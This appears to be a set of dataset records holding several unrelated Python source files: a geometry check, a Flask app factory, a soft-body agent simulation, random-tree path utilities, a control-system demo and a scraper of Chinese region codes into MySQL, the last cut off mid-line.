@staticmethod\n def check_straight_line(coordinates: List[List[int]]) -> bool:\n if coordinates is None or len(coordinates) <= 2:\n return True\n\n dy = coordinates[1][1] - coordinates[0][1]\n dx = coordinates[1][0] - coordinates[0][0]\n\n for i in range(2, len(coordinates)):\n dy1 = coordinates[i][1] - coordinates[0][1]\n dx1 = coordinates[i][0] - coordinates[0][0]\n if dy * dx1 != dy1 * dx:\n return False\n\n return True\n\n\nif __name__ == '__main__':\n test_cases = [\n [[1, 2], [2, 3], [3, 4], [4, 5], [5, 6], [6, 7]],\n [[1, 1], [2, 2], [3, 4], [4, 5], [5, 6], [7, 7]]\n ]\n for tc in test_cases:\n print(Solution.check_straight_line(tc))\n","sub_path":"01-数据结构/数组/1232.缀点成线.py","file_name":"1232.缀点成线.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"357334490","text":"#!/usr/bin/python\n#-*-coding:utf-8 -*-\nfrom flask import Flask,render_template\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_bootstrap import Bootstrap\nfrom config.config import config\nfrom flask_redis import FlaskRedis\nfrom flask_login import LoginManager\nfrom celery import Celery\nbootstrap = Bootstrap()\ndb = SQLAlchemy()\nredis = FlaskRedis()\nlogin_manager = LoginManager()\nlogin_manager.login_view = \"user.userLogin\"\n\ndef make_celery(app):\n celery = Celery(app.import_name,broker=app.config['CELERY_BROKER_URL'])\n celery.conf.update(app.config)\n TaskBase = celery.Task\n class ContextTask(TaskBase):\n abstract = True\n def __call__(self,*args,**kwargs):\n with app.app_context():\n return TaskBase.__call__(self,*args,**kwargs)\n celery.Task = ContextTask\n return celery\ndef create_app(config_name):\n app = Flask(__name__)\n app.config.from_object(config[config_name])\n app.config.update(CELERY_BROKER_URL='redis://localhost:6379/1',\n CELERY_RESULT_BACKEND='redis://localhost:6379/2')\n config[config_name].init_app(app)\n bootstrap.init_app(app)\n db.init_app(app)\n redis.init_app(app)\n login_manager.init_app(app)\n from app.main import report,test,views,mock,user,flow\n app.register_blueprint(report, url__prefix='/report')\n app.register_blueprint(test)\n app.register_blueprint(views)\n app.register_blueprint(mock)\n app.register_blueprint(user)\n app.register_blueprint(flow)\n return app\n","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"238306462","text":"from physics import Cell, g\n\nEAST, NORTH, WEST, SOUTH = 0, 1, 2, 3\n\ndef transform_properties(before):\n after = []\n for p in before:\n if p[0] == \"axial_stiffness\":\n after.append([p[0], p[1]*1000])\n elif p[0] == \"bending_stiffness\":\n after.append([p[0], p[1]*500])\n elif p[0] == \"expansion\":\n after.append([p[0], p[1]*1.8-0.9])\n elif p[0] == \"dissipation\":\n after.append([p[0], p[1]*5])\n elif p[0] == \"activation_rate\":\n after.append([p[0], p[1]*5])\n elif p[0] == \"transmittivity\":\n after.append([p[0], p[1]*5])\n elif p[0] == \"contact_response\":\n after.append([p[0], True if p[1]>0.5 else False])\n\n return after\n\nclass Agent:\n def __init__(self, genome, grid_size, max_cell_count, \n pacemaker_period):\n self.grid_size = grid_size\n self.grid = [[False]*grid_size for _ in xrange(grid_size)]\n i_center = grid_size/2\n j_center = grid_size/2\n\n self.cells = []\n self.frontier = []\n self.cell_count = 0\n\n self.pacemaker = Cell(1.0, [0.0, 0.0], 10, 15, \n 0.0, 0.5, 0.5, 1.0, 0.0)\n self.pacemaker_period = pacemaker_period\n self.pacemaker_timer = 0.0\n self.add_cell(self.pacemaker, i_center, j_center)\n\n while len(self.frontier) > 0 and self.cell_count < max_cell_count:\n i, j = self.frontier.pop(0)\n x = 1.0*(j - j_center)\n y = 1.0*(i_center - i)\n r = (x**2 + y**2)**0.5\n adjacent_count = 0\n for i_p, j_p in self.adjacent_indices(i, j):\n adjacent = self.grid[i_p][j_p]\n if isinstance(adjacent, Cell):\n adjacent_count += 1\n\n x_in = x/grid_size + 0.5\n y_in = y/grid_size + 0.5\n r_in = 1.414*(x**2 + y**2)**0.5/grid_size\n adj_in = (adjacent_count - 1)/3.0\n\n growth, properties = genome.cppn([x_in, y_in, r_in, adj_in])\n if growth > (1.0 - 1.0*self.cell_count/max_cell_count)**2:\n self.grid[i][j] = False\n continue\n properties = transform_properties(properties)\n for p in properties:\n if p[0] == \"axial_stiffness\":\n axial_stiffness = p[1]\n elif p[0] == \"bending_stiffness\":\n bending_stiffness = p[1]\n elif p[0] == \"expansion\":\n expansion = p[1]\n elif p[0] == \"dissipation\":\n dissipation = p[1]\n elif p[0] == \"activation_rate\":\n activation_rate = p[1]\n elif p[0] == \"transmittivity\":\n transmittivity = p[1]\n elif p[0] == \"contact_response\":\n contact_response = p[1]\n\n cell = Cell(1.0, [x, y], axial_stiffness, \n bending_stiffness, expansion, dissipation, \n activation_rate, transmittivity, contact_response)\n self.add_cell(cell, i, j)\n\n def add_cell(self, cell, i, j):\n self.cells.append(cell)\n self.cell_count += 1\n self.grid[i][j] = cell\n\n for i_p, j_p in self.adjacent_indices(i, j):\n adj = self.grid[i_p][j_p]\n if adj == False:\n self.grid[i_p][j_p] = True\n self.frontier.append([i_p, j_p])\n elif isinstance(adj, Cell):\n if j_p > j:\n direction = EAST\n opposite = WEST\n elif i_p < i:\n direction = NORTH\n opposite = SOUTH\n elif j_p < j:\n direction = WEST\n opposite = EAST\n elif i_p > i:\n direction = SOUTH\n opposite = NORTH\n cell.connect(adj, direction)\n adj.connect(cell, opposite)\n\n def adjacent_indices(self, i, j):\n directions = [[0, 1], [-1, 0], [0, -1], [1, 0]]\n adjacent = []\n for direction in directions:\n i_p = i + direction[0]\n j_p = j + direction[1]\n if i_p < 0 or i_p >= self.grid_size:\n continue\n elif j_p < 0 or j_p >= self.grid_size:\n continue\n else:\n adjacent.append([i_p, j_p])\n\n return adjacent\n\n def step(self, delta_t):\n if self.pacemaker_timer >= self.pacemaker_period:\n self.pacemaker.voltage = 0.21\n self.pacemaker_timer %= self.pacemaker_period\n for c in self.cells:\n c.interact(delta_t)\n self.pacemaker_timer += delta_t\n\n def translate(self, delta_position):\n for c in self.cells:\n c.position[0] += delta_position[0]\n c.position[1] += delta_position[1]\n\n def center_of_mass(self):\n mass_sum = 0.0\n x_sum = 0.0\n y_sum = 0.0\n for cell in self.cells:\n mass_sum += cell.mass\n x_sum += cell.mass*cell.position[0]\n y_sum += cell.mass*cell.position[1]\n\n return [x_sum/mass_sum, y_sum/mass_sum]\n","sub_path":"src/agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":5205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"622456389","text":"'''\nCreated on Jan 24, 2020\n\n@author: vladislavkargin\n\nVarious tools needed for manipulating Trees and Maps\n\n'''\nimport copy\nimport numpy as np\nfrom scipy.integrate import quad\nimport matplotlib.pyplot as plt\n\nimport rgs.pmaps.OrderedTree as ot\n#import pmaps.PlanarGraph as pg\nimport rgs.pmaps.Triangulation as trngl\n\n \ndef reweight(w, rho):\n '''\n Reweights a weight sequence by \\rho. \n For an array w, sends w_k to w_k*rho^k and divides the resulting sequence \n by its sum, so the result is a probability sequence. Returns \n the reweighted sequence.\n returns a reweighted sequence and its mean. \n \n The argument w should be a numpy 1-dim array\n ''' \n rw = w\n for i in range(len(w)):\n rw[i] = w[i] * rho ** i \n #normalizing sum\n s = np.sum(rw)\n rw = rw / s\n mu = 0.\n for i in range(len(rw)):\n mu = mu + i * rw[i]\n return rw, mu\n\n\ndef rescale(w):\n '''\n Obtains a probability weights with expectation 1 from \n an arbitrary sequence of (non-negative) weights.\n Returns the rescaled sequence\n The argument should be an object convertible to a numpy 1dim array\n '''\n pp, mu = reweight(np.array(w), 1.)\n #initializing search window [a b] for the re-weight parameter.\n b = 1.;\n delta = 0.05;\n while (abs(mu - 1.) > 10 ** (-10)):\n if (mu < 1.):\n b = 1 + delta;\n pp, mu = reweight(pp, b)\n while (mu < 1.):\n pp, mu = reweight(pp, b)\n else:\n b = 1 - delta;\n pp, mu = reweight(pp, b)\n while (mu > 1.):\n pp, mu = reweight(pp, b)\n delta = delta/2;\n return pp\n\ndef alphaShift(alpha, w):\n '''\n using a parameter alpha and a weight sequence w\n uses an exponential rescaling on w1, w2, ... and \n finds a new sequence wn such that wn[0] = alpha and \n w1 a probability sequence with mean 1\n '''\n w1 = np.concatenate(([0],w[1:])) #the sequence w with 0 instead of w_0\n #print(\"w1 = \", w1)\n pp, mu = reweight(w1, 1.)\n pp = pp * (1 - alpha)\n #print(\"alpha = \", alpha)\n #print(\"pp = \", pp)\n mu = mu * (1 - alpha)\n #initializing search window [a b] for the re-weight parameter.\n b = 1.;\n delta = 0.05;\n while (abs(mu - 1.) > 10 ** (-10)):\n if (mu < 1.):\n b = 1 + delta;\n pp, mu = reweight(pp, b)\n pp = pp * (1 - alpha)\n mu = mu * (1 - alpha)\n while (mu < 1.):\n pp, mu = reweight(pp, b)\n pp = pp * (1 - alpha)\n mu = mu * (1 - alpha)\n else:\n b = 1 - delta;\n pp, mu = reweight(pp, b)\n pp = pp * (1 - alpha)\n mu = mu * (1 - alpha)\n while (mu > 1.):\n pp, mu = reweight(pp, b)\n pp = pp * (1 - alpha)\n mu = mu * (1 - alpha)\n delta = delta/2;\n pp[0] = alpha \n return pp\n\ndef treeToDyckPath(tree):\n '''converts a planar rooted tree to a Dyck path'''\n A = [-1]* tree.graph.V \n dyckPath = []\n v = tree.graph.root\n stack = [v]\n A[v] = 0 \n #dfsTimes = [0] #the list of times when a new vertex was discovered.\n n = 1\n while (len(stack) > 0):\n #print(\"stack = \" + str(stack));\n v = stack[-1]; #peaking at the top of the stack\n #print(\"processing v = \" + str(v))\n flag = False #can we find unprocessed neighbors?\n d = tree.graph.degree(v)\n for i in range(d):\n w = tree.graph.adj[v][i]\n if (A[w] < 0): #this neighbor has not been explored previously\n A[w] = n\n n = n + 1\n stack.append(w)\n #print(dfsPath)\n dyckPath.append(1)\n #dfsTimes.append[len(dyckPath)]\n flag = True\n break #stop searching for an uexplored neighbor\n else: \n continue\n if (not flag): \n stack.pop() #no unexplored neighbor around v. Remove it from consideration.\n dyckPath.append(-1)\n del dyckPath[-1]\n return dyckPath \n\ndef treeToLukasPath(tree):\n '''converts a planar rooted tree to the corresponding Lukasiewicz path\n Assumes that the vertices are already named in the DFS order'''\n path = []\n for v in range(tree.graph.V):\n path.append(tree.outDegree(v) - 1)\n return path \n\ndef treeToHeightPath(tree):\n '''converts a planar rooted tree to the corresponding height path\n Assumes that the vertices are already named in the DFS order'''\n path = []\n for v in range(tree.graph.V):\n path.append(tree.heightVertex(v))\n return path \n \ndef cyclicShift(path):\n '''cyclic shift of the path: it finds the first minimum of the path and rotate \n the sequence of steps so that it starts from this minimum. It is useful for \n creating Dyck and Lucasiewicz paths. \n arguments: path (in fact, it is a sequence of steps)\n returns: the shifted path\n '''\n m = 0\n pos = 0\n S = 0\n n = len(path)\n for i in range(n):\n S = S + path[i]\n if (S < m):\n m = S\n pos = i + 1\n if (pos == n):\n return path\n else:\n path = np.concatenate([path[pos:n], path[0:pos]])\n return path.astype(np.int64) \n\ndef randomBridge(n, w, ITER = 10000, SEED = 0):\n ''' creates a random walk bridge that starts at 0, ends at -1 and have\n the distribution of steps w. (w_0 corresponds to step -1)\n returns: the path of the bridge as a sequence of steps. \n '''\n K = len(w);\n pp = rescale(w)\n #get a sample from multinomial distribution\n count = 0\n mu = 0\n if (SEED != 0):\n np.random.seed(SEED)\n else:\n np.random.seed()\n while (mu != -1 and count < ITER):\n #repeat until the required property of the path is \n #ensured or too many iteration are used. \n X = np.random.multinomial(n, pp)\n mu = 0\n for i in range(K):\n mu = mu + (i - 1) * X[i]\n count = count + 1\n\n if (count == ITER and mu != -1):\n print(\"RandomLukasiewicz says: Could not find a path that would \"\n + \"end in -1 after \" + str(ITER) + \"iterations\")\n\n #convert multinomial array X to a path\n path = np.array([]);\n for i in range(K): \n path = np.concatenate([path, np.array([i - 1] * X[i])])\n #print(path) \n np.random.shuffle(path)\n return path\n\n '''\n * generate a random L􏰀ukasiewicz path that have n steps, starts at\n (0,0) and never goes below the horizontal line except at the \n last step and stops at (n,-1).\n * \n * A L􏰀ukasiewicz path is a path of a random walk that can steps of \n size in the set {-1, 0, 1, 2, 3, ...} and that do not go below \n the horizontal line except at the last step. \n * \n * The weights of steps are given in the array w. So w0 is the \n * probability of the -1 step, w1 probability of 0, w2 probability of 1\n * and so on. \n * \n * The generator works in 3 steps\n * 0) from the given sequence of weights generate a sequence of probabilities\n * such that the expectation is close to 1.\n * 1) generate a multinomial partition of n according do the \n * distribution pp. So we will get N0, N1, N2, ... which will sum\n * to n and have probabilities p0, p1, p2 and so on. \n * The number Nj represent the number of times the step j-1 occurs in \n * the path. \n 2) repeat until \\sum (j - 1)Nj hits -1 \n * 2) then we create a array of n steps and randomly permute it. \n * 3) then we do a Vervaat transform to make sure that the path\n * stays above the horizontal line. \n * 4) repeat until we hit -1\n * \n * \n * @param n length of the path\n * @param w weights of the steps. \n * @param ITER maximum number of attempts to generate the path \n * @param SEED if seed not 0 then uses provided seed to generate random sequence\n * @return\n '''\ndef randomLukasiewicz(n, w, ITER = 10000, SEED = 0):\n #generate a random L􏰀ukasiewicz path that have n steps, starts at\n #(0,0) and never goes below the horizontal line except at the \n #last step and stops at (n,-1).\n \n path = randomBridge(n, w, ITER = ITER, SEED = SEED)\n shifted_path = cyclicShift(path)\n return shifted_path\n \ndef randomLukasSlim(k, n, w, ITER = 10000, SEED = 0):\n '''\n This is a slight generalization of randomLukasiewicz function that we need to \n generate slim trees. The generalization is that we \n 1) build a sequence of n i.i.d variables that sum to -1 \n using the alpha shifted distribution and making sure that there are k steps of size - 1\n 2) proceeding as usual in random Lukasiewicz\n arguments: k - number of -1 \n n - length of the sequence \n w - weight of increments. \n ITER number of attempts to find the sequence\n SEED - for replication purposes. \n '''\n weights_len = len(w);\n alpha = k/n\n pp = rescale(w)\n #print('pp = ', pp)\n wn = alphaShift(alpha, pp)\n #get a sample from multinomial distribution\n count = 0\n mu = 0\n if (SEED != 0):\n np.random.seed(SEED)\n while (mu != -1 or count < ITER):\n #print(count)\n #repeat until the required property of the path is \n #ensured or too many iteration are used. \n #print('wn = ', wn)\n X = np.random.multinomial(n, wn)\n #print('X = ', X)\n if X[0] != k:\n count = count + 1\n continue\n mu = 0\n for i in range(weights_len):\n mu = mu + (i - 1) * X[i]\n #print(\"mu =\" + str(mu))\n count = count + 1\n\n if (count == ITER and mu != -1):\n print(\"Random LukasSlim says: Could not find a path that would \"\n + \"end in -1 after \" + ITER + \"iterations\")\n #convert multinomial array X to a path\n path = np.array([]);\n for i in range(weights_len): \n path = np.concatenate([path, np.array([i - 1] * X[i])])\n #print(path) \n np.random.shuffle(path) \n #find the minimum \n m = 0\n pos = 0\n S = 0\n for i in range(n):\n S = S + path[i]\n if (S < m):\n m = S\n pos = i + 1\n if (pos == n):\n return path\n else:\n path = np.concatenate([path[pos:n], path[0:pos]])\n return path.astype(np.int64) \n\n\n \ndef randomLukas31(n, ITER = 10000, SEED = 0): \n '''\n * This is a variant of the method that generate Lukasiewicz paths \n * that will be used to generate random tiangulations according to \n * Poulalhon - Schaeffer method \n * We need a path that consists of steps 3 and -1 such that it has 4n - 2 elements \n * and total weight (sum of steps) -2. The path should be always above -2 except at\n * the last step. \n * \n ''' \n #length of the path \n N = 4 * n - 2\n pp = [0.75, 0., 0., 0., 0.25]\n K = len(pp) #K = 5\n #get a sample from multinomial distribution\n count = 0 #number of iterations\n mu = 0 #value at the end of the path\n if (SEED != 0):\n np.random.seed(SEED)\n while (mu != -2 or count < ITER):\n #repeat trials until the required property of the path is \n #ensured or too many iteration are used. \n X = np.random.multinomial(N, pp)\n mu = 0\n for i in range(K):\n mu = mu + (i - 1) * X[i]\n count = count + 1\n if (count == ITER and mu != -2):\n print(\"Could not find a path that would \"\n + \"end in -2 after \" + ITER + \"iterations\")\n #convert multinomial array X to a path\n path = np.array([]);\n for i in range(K): \n path = np.concatenate([path, np.array([i - 1] * X[i])])\n #print(path) \n np.random.shuffle(path)\n #plt.plot(np.cumsum(path))\n #find the minimum \n m = 0\n pos = 0\n S = 0\n for i in range(N):\n S = S + path[i]\n if (S < m):\n m = S\n pos = i + 1\n #print(\"pos = \" + str(pos))\n if (pos == N):\n return path\n else:\n path = np.concatenate([path[pos:N], path[0:pos]])\n return path.astype(np.int64)\n \n \ndef decodeToPSTree(path):\n ''' \n This will take a path with steps 3 and - 1\n (typically generated by randomLukas31) and convert it to \n a tree where each inner node has only 2 leafs. \n arguments: path\n returns: the tree\n ''' \n n = (len(path) + 2) /4\n #print(\"n = \" + str(n))\n tree = ot.OrderedTree(3 * int(n))\n #in a sense we trying to do dfs. I believe the path will always start with 3\n # which means we go down from an inner node.\n x = 0 #name of the currently available vertex in the tree\n stack = [x]\n leafMap = {x : 0} #this will be used to check how many leaves vertex x already has\n x = x + 1 #the next available step\n i = 0 #currently processed step in the path\n \n while (i < len(path) and len(stack) > 0):\n #print(\"stack = \" + str(stack))\n #print(\"i = \" + str(i) + \"; path[i] = \" + str(path[i]))\n v = stack[-1]; #peaking at the top of the stack\n #print(\"processing vertex v = \" + str(v))\n #print(\"leafMap[v] = \" + str(leafMap[v]))\n if (path[i] == 3): #the step is 3 meaning just go down the tree\n tree.graph.addEdge(v, x)\n #print(\"Adding edge (\" + str(v) + \", \" + str(x) + \")\")\n stack.append(x)\n leafMap[x] = 0\n x = x + 1\n i = i + 1\n else: #the step is - 1\n if (leafMap[v] < 2): #we can add another edge\n tree.graph.addEdge(v, x)\n #print(\"Adding edge (\" + str(v) + \", \" + str(x) + \")\")\n leafMap[v] = leafMap[v] + 1\n x = x + 1\n i = i + 1 \n else: #this vertex is done. \n i = i + 1\n stack.pop()\n continue\n #print(tree) \n return tree \n\ndef randomLukasBinary(k, n, ITER = 10000, SEED = 0):\n '''\n generates a random Lukasiewicz path that consist of k steps of size -1, \n k-1 steps of size 1 and n-2k+1 steps of size 0 \n '''\n #print(\"seed = \" + str(SEED))\n if (SEED != 0):\n np.random.seed(SEED)\n if n < 2 * k + 1:\n print(\"randomLukasBinary says: n = \" + str(n) + \" is too small for k = \" + str(k))\n return []\n path = [-1] * k + [0] * (n - 2*k + 1) + [1] * (k - 1)\n np.random.shuffle(path)\n m = 0\n pos = 0\n S = 0\n for i in range(n):\n S = S + path[i]\n if (S < m):\n m = S\n pos = i + 1\n #print(\"pos = \" + str(pos))\n if (pos == n):\n return path\n else:\n path = np.concatenate([path[pos:n], path[0:pos]])\n return path.astype(np.int64)\n return path\n\ndef decoratedPathTree(n, SEED = 0):\n '''\n builds a (planar) tree that consists of a path of n inner vertices with each inner\n vertex connected to two leaves. It is going to be used in experiments on triangulations\n '''\n if (SEED != 0):\n np.random.seed(SEED)\n tree = ot.OrderedTree(V = 3 * int(n))\n inner = 0\n for i in range(n - 1):\n tree.graph.addEdge(inner, 3 * i + 1)\n tree.graph.addEdge(inner, 3 * i + 2)\n tree.graph.addEdge(inner, 3 * i + 3)\n r = np.random.randint(1,4)\n inner = 3 * i + r\n tree.graph.addEdge(inner, 3 * (n - 1) + 1)\n tree.graph.addEdge(inner, 3 * (n - 1) + 2)\n tree.dfsRename(0)\n return tree\n \n\n\ndef verdiereFunction(x):\n '''\n calculates the integral of atan(e^t) from -\\infty to x\n '''\n [v, _] = quad(lambda t: np.arctan(np.exp(t)), -np.inf, x)\n return v\n\n\n\ndef fromTriangulation(trntn):\n '''\n builds a tree from a triangulation trntn. It is supposed to be the inverse of the \n map buildTriangulation in PlanarGraph module\n Reference: Poulalhon and Schaeffer \"Optimal Coding and Sampling of Triangulations\"\n \n Arguments: trntn - a triangulation\n Returns: trFinal - a BT tree (that is a tree where each inner node have two leaves attached.\n '''\n V = trntn.graph.V\n v1 = trntn.graph.root\n v2 = trntn.graph.rootArrow\n boundary = trntn.graph.getOuterBoundary(u0 = v2)\n v0 = boundary[2] \n T0, T1, T2 = trntn.calcRealizer()\n \n #print(\"T0 = \" + str(T0))\n #print(\"T1 = \" + str(T1))\n #print(\"T2 = \" + str(T2))\n \n tr = copy.deepcopy(trntn) \n tr.graph.removeEdge(v0, v1)\n tr.graph.removeEdge(v0, v2)\n \n #initialization of the stack\n stack = trntn.graph.adj[v0]\n stack.remove(v1)\n stack.remove(v2)\n #print(\"Stack = \" + str(stack))\n \n #now we need to add two new vertices (and leaves leading to them)\n tr.graph.addVertex()\n tr.graph.addVertex()\n tr.graph.addEdge(v0, V)\n tr.graph.addEdgeBeforeAfter(v0, V + 1, tr.graph.adj[v0][0],0)\n \n #change root and rootArrow\n tr.graph.root = V + 1\n tr.graph.rootArrow = v0\n \n nvertices = V + 2 #current number of vertices in graph tr. \n marked = [] #processed edges \n #counter = 0 #this is for debugging purposes\n \n while len(stack) > 0:\n v = stack[-1]\n \n #we are going around the vertex [in the original graph in the clockwise direction]\n # from an edge on the directed path to v2 \n # to an edge on the directed path to v1\n # and do some operations:\n # if we encounter an edge directed to current v, and this edge is not marked (not processed),\n # we mark this endpoint and add it to the stack and proceed \n # with this new stack element,\n # if we encounter an edge not directed to v, (it must be on a directed path to v2 or v1)\n # and it is not marked, we mark it, remove it in the new graph, add a new leaf in the new graph and \n # continue going around v. \n # when we are finished exploring edges from v between v1 and v2, we remove the vertex from the stack\n # and proceed with a new element on the stack\n \n start = T2[v]\n finish = T1[v]\n spisok = [] #the edges that go from start to finish edges from v in clockwise direction\n #constructing the list spisok\n ind = trntn.graph.adj[v].index(start) \n x = trntn.graph.adj[v][ind]\n spisok.append(x)\n while x != finish: \n ind = (ind - 1) % len(trntn.graph.adj[v])\n x = trntn.graph.adj[v][ind]\n spisok.append(x)\n #print(\"spisok = \" + str(spisok))\n #processing edges in spisok\n isNewEdgeFound = False\n for u in spisok:\n if [v, u] in marked:\n continue\n else:\n isNewEdgeFound = True\n marked.append([v, u]) \n #TODO: edges should be added in clockwise direction - this is different\n #then simply addEdge below\n if u == start or u == finish: \n tr.graph.removeEdge(v,u)\n tr.graph.addVertex()\n if u == start:\n tr.graph.addEdge(v, nvertices)\n else:\n tr.graph.addEdgeBeforeAfter(v, nvertices, tr.graph.adj[v][1], 0) #this behavior is not \n #totally in agreement with Poulalhon - Shaeffer paper, but I cannot quite \n #understand how the leaves can be at any place but on the ends of the list\n #of children.\n nvertices = nvertices + 1\n else:\n stack.append(u)\n break\n if not isNewEdgeFound:\n stack.remove(v)\n #counter = counter + 1\n #print(\"Vertex \" + str(v) + \"has been processed\")\n #print(\"After vertex \" + str(v) + \"is processed, the graph is \\nç\")\n #print(tr)\n #tr.draw(drawLabels = True, calculateRepr = \"Leaves\", title = \"After v = \" + str(v) + \"is processed\")\n #tr.draw(drawLabels = True, title = \"After v = \" + str(v) + \"is processed\")\n \n #finally we should remove the edge between v1 and v2 and both vertices themselves\n tr.graph.removeEdge(v1, v2)\n #tr.draw(drawLabels = True, calculateRepr = \"Leaves\")\n \n #removing v1 and v2 and renaming vertices in dfs order.\n vertices = list(range(tr.graph.V))\n vertices.remove(v1)\n vertices.remove(v2) \n trFinal = ot.fromGraph(tr.graph.subgraph(vertices, tr.graph.root, tr.graph.rootArrow)) \n return trFinal\n \n\n'''\nFor testing methods\n'''\ndef main():\n print('Tree Utility is running')\n '''\n Here we check that random Lukasiewicz method works\n '''\n '''\n w = np.array([1, 2, 3])\n rho = 3\n rw, mu = reweight(w, rho)\n print(rw)\n print(mu)\n rw = rescale(w)\n print(rw)\n n = 100\n path = randomLukasiewicz(n, w)\n print(path)\n plt.plot(np.cumsum(path))\n plt.show()\n '''\n \n '''\n Another tree based on Lukasiewicz paths and used to create triangulations\n '''\n '''\n n = 10\n path = randomLukas31(n)\n decodeToPSTree(path)\n plt.plot(np.cumsum(path))\n tree = decodeToPSTree(path)\n print(tree)\n tree.draw(drawLabels = True)\n plt.show()\n '''\n '''\n Test that Verdiere function is working\n '''\n '''\n x = -5\n v = verdiereFunction(x)\n print(v)\n '''\n \n '''\n A binary-unary tree based on Lukasiewicz method.\n '''\n '''\n n = 1000\n k = 300\n path = randomLukasBinary(k, n)\n #print(path)\n plt.plot(np.cumsum(path))\n tree = ot.fromLukasiewicz(path)\n tree.draw()\n '''\n \n '''\n a decorated path tree (path with 2 leaves attached to each vertex)\n '''\n '''\n n = 30\n seed = 123\n tree = decoratedPathTree(n, SEED = seed)\n print(tree)\n tree.draw(drawLabels = False)\n '''\n \n #n = 8\n #seed = 23167\n n = 5\n seed = 0\n #path = [3, -1, -1, -1, 3, -1, -1, -1, -1, -1]\n #btTree = decodeToPSTree(path)\n #trntn = pg.buildTriangulation(btTree)\n trntn, btTree = trngl.randomTriangulation(n, SEED = seed)\n print(\"btTree is \" + str(btTree))\n btTree.draw(drawLabels = True)\n #trntn = pg.randomTriangulation(n, SEED = seed, method = 'decoratedPath')\n _, ax = trntn.draw(drawLabels = True, calculateRepr = \"Schnyder\")\n realizer = trntn.calcRealizer()\n trntn.drawRealizer(ax, realizer)\n \n \n '''\n tree that we got back from the realizer\n '''\n tr = fromTriangulation(trntn)\n print(tr)\n tr.draw(drawLabels = True, calculateRepr = \"Leaves\")\n #plt.show()\n \n '''\n TODO something not OK below\n \n newTrntn = pg.buildTriangulation(tr)\n _, ax = newTrntn.draw(drawLabels = True, calculateRepr = \"Schnyder\")\n realizer = newTrntn.calcRealizer()\n newTrntn.drawRealizer(ax, realizer)\n '''\n\n\n '''\n This checks the the generation of the Lukasiewicz path for the slim trees\n \n '''\n w = [1, 1, 1, 1]\n wn = alphaShift(0.3, w)\n print(\"Shifted weights = \" + str(wn) + \"\\n have sum = \" + str(wn.sum()) )\n _, mu = reweight(wn, 1.)\n print(\" and expectation \" + str(mu))\n \n n = 99\n alpha = 1/3\n k = np.floor(alpha * n)\n print(k)\n \n path1 = randomLukasiewicz(n, w)\n path2 = randomLukasSlim(k, n, w)\n print(path2)\n print(np.sum(path2 == -1))\n \n fig1, (ax1, ax2) = plt.subplots(nrows=1, ncols=2)\n ax1.plot(np.cumsum(path1))\n ax2.plot(np.cumsum(path2))\n ax1.grid(True)\n ax2.grid(True)\n plt.show()\n \n \n \n print('Tree Utility has finished')\n \nif __name__ == '__main__':\n main()","sub_path":"rgs/pmaps/TreeUtility.py","file_name":"TreeUtility.py","file_ext":"py","file_size_in_byte":23547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"137110504","text":"import pyadrc\nimport math\nimport matplotlib.pyplot as plt\n\n\ndef main():\n\n dadrc = pyadrc.adrc.transfer_function(order=2, delta=0.001,\n b0=1/0.028, w_cl=2 * math.pi, k_eso=10)\n\n system = pyadrc.QuadAltitude()\n\n _u, _y, _setpoint, _td, = [], [], [], []\n\n u = 0\n y = 0\n counter = 0\n\n r = 50\n\n while counter < 10000:\n y = system(u)\n\n counter = counter + 1\n\n [filtered_r, u] = dadrc(y, r)\n # [filtered_r, u] = [0, 5]\n\n _y.append(y)\n _u.append(u)\n _setpoint.append(r)\n _td.append(filtered_r)\n\n if counter == 5000:\n r = 8\n\n plt.figure()\n plt.subplot(2, 1, 1)\n plt.plot(_y, ds='steps', label='output')\n plt.plot(_setpoint, ds='steps', label='setpoint')\n plt.plot(_td, ds='steps', label='td')\n plt.title('Output')\n plt.xlabel('Samples')\n plt.legend()\n\n plt.subplot(2, 1, 2)\n plt.plot(_u, ds='steps', label='input')\n plt.legend()\n\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"examples/system_tf.py","file_name":"system_tf.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"342436471","text":"# coding=utf-8\n# -*- coding: utf-8 -*-\n\n\nimport urllib.request\nimport time\n\nfrom bs4 import BeautifulSoup\n\nimport pymysql\n\n# 当成是mysqldb一样使用,当然也可以不写这句,那就按照pymysql的方式\npymysql.install_as_MySQLdb()\n\nuser = 'root'\npas = 'admin123'\ndb = 'test'\n\n\ndef execSql(sql):\n conn = pymysql.connect(host='localhost', user=user, passwd=pas, db=db, port=3306, charset='utf8')\n cur = conn.cursor() # 获取一个游标\n try:\n # print(sql)\n cur.execute(sql)\n\n conn.commit()\n except:\n conn.rollback()\n conn.close()\n # data=cur.fetchall()\n # cur.close()#关闭游标\n # conn.close()#释放数据库资源\n\n\ndef getHTMLText(url):\n maxTryNum = 20\n for tries in range(maxTryNum):\n try:\n # kv = {\"user-agent\": \"Mizilla/5.0\"}\n response = urllib.request.urlopen(url, timeout=30000).read().decode('gbk')\n return response\n except:\n if tries < (maxTryNum - 1):\n continue\n else:\n print(\"Has tried %d times to access url %s, all failed!\" % (maxTryNum, url))\n break\n\n\nindexs = 'index.html'\nurl = 'http://www.stats.gov.cn/tjsj/tjbz/tjyqhdmhcxhfdm/2019/'\n\ntxt = getHTMLText(url + indexs) # urllib.request.urlopen(url + indexs).read().decode('gbk')\nsoup = BeautifulSoup(txt, 'html.parser')\nlista = soup.find_all('a')\nlista.pop()\nflag = 0\ndd = ''\nfor idx, a in enumerate(lista):\n id = flag = flag + idx + 1\n dd = code = a['href'][0:2]\n name = a.text\n level = '0'\n pid = id\n\n sql = \"insert into city (id,code,name,level,pid)values('\" + str(\n id) + \"','\" + code + \"','\" + name + \"','\" + level + \"','\" + str(pid) + \"');\"\n execSql(sql)\n print(\"========\" + a['href'][0:2] + \",\" + a.text + \"========\")\n time.sleep(2)\n txt = getHTMLText(url + a['href']) # urllib.request.urlopen(url + 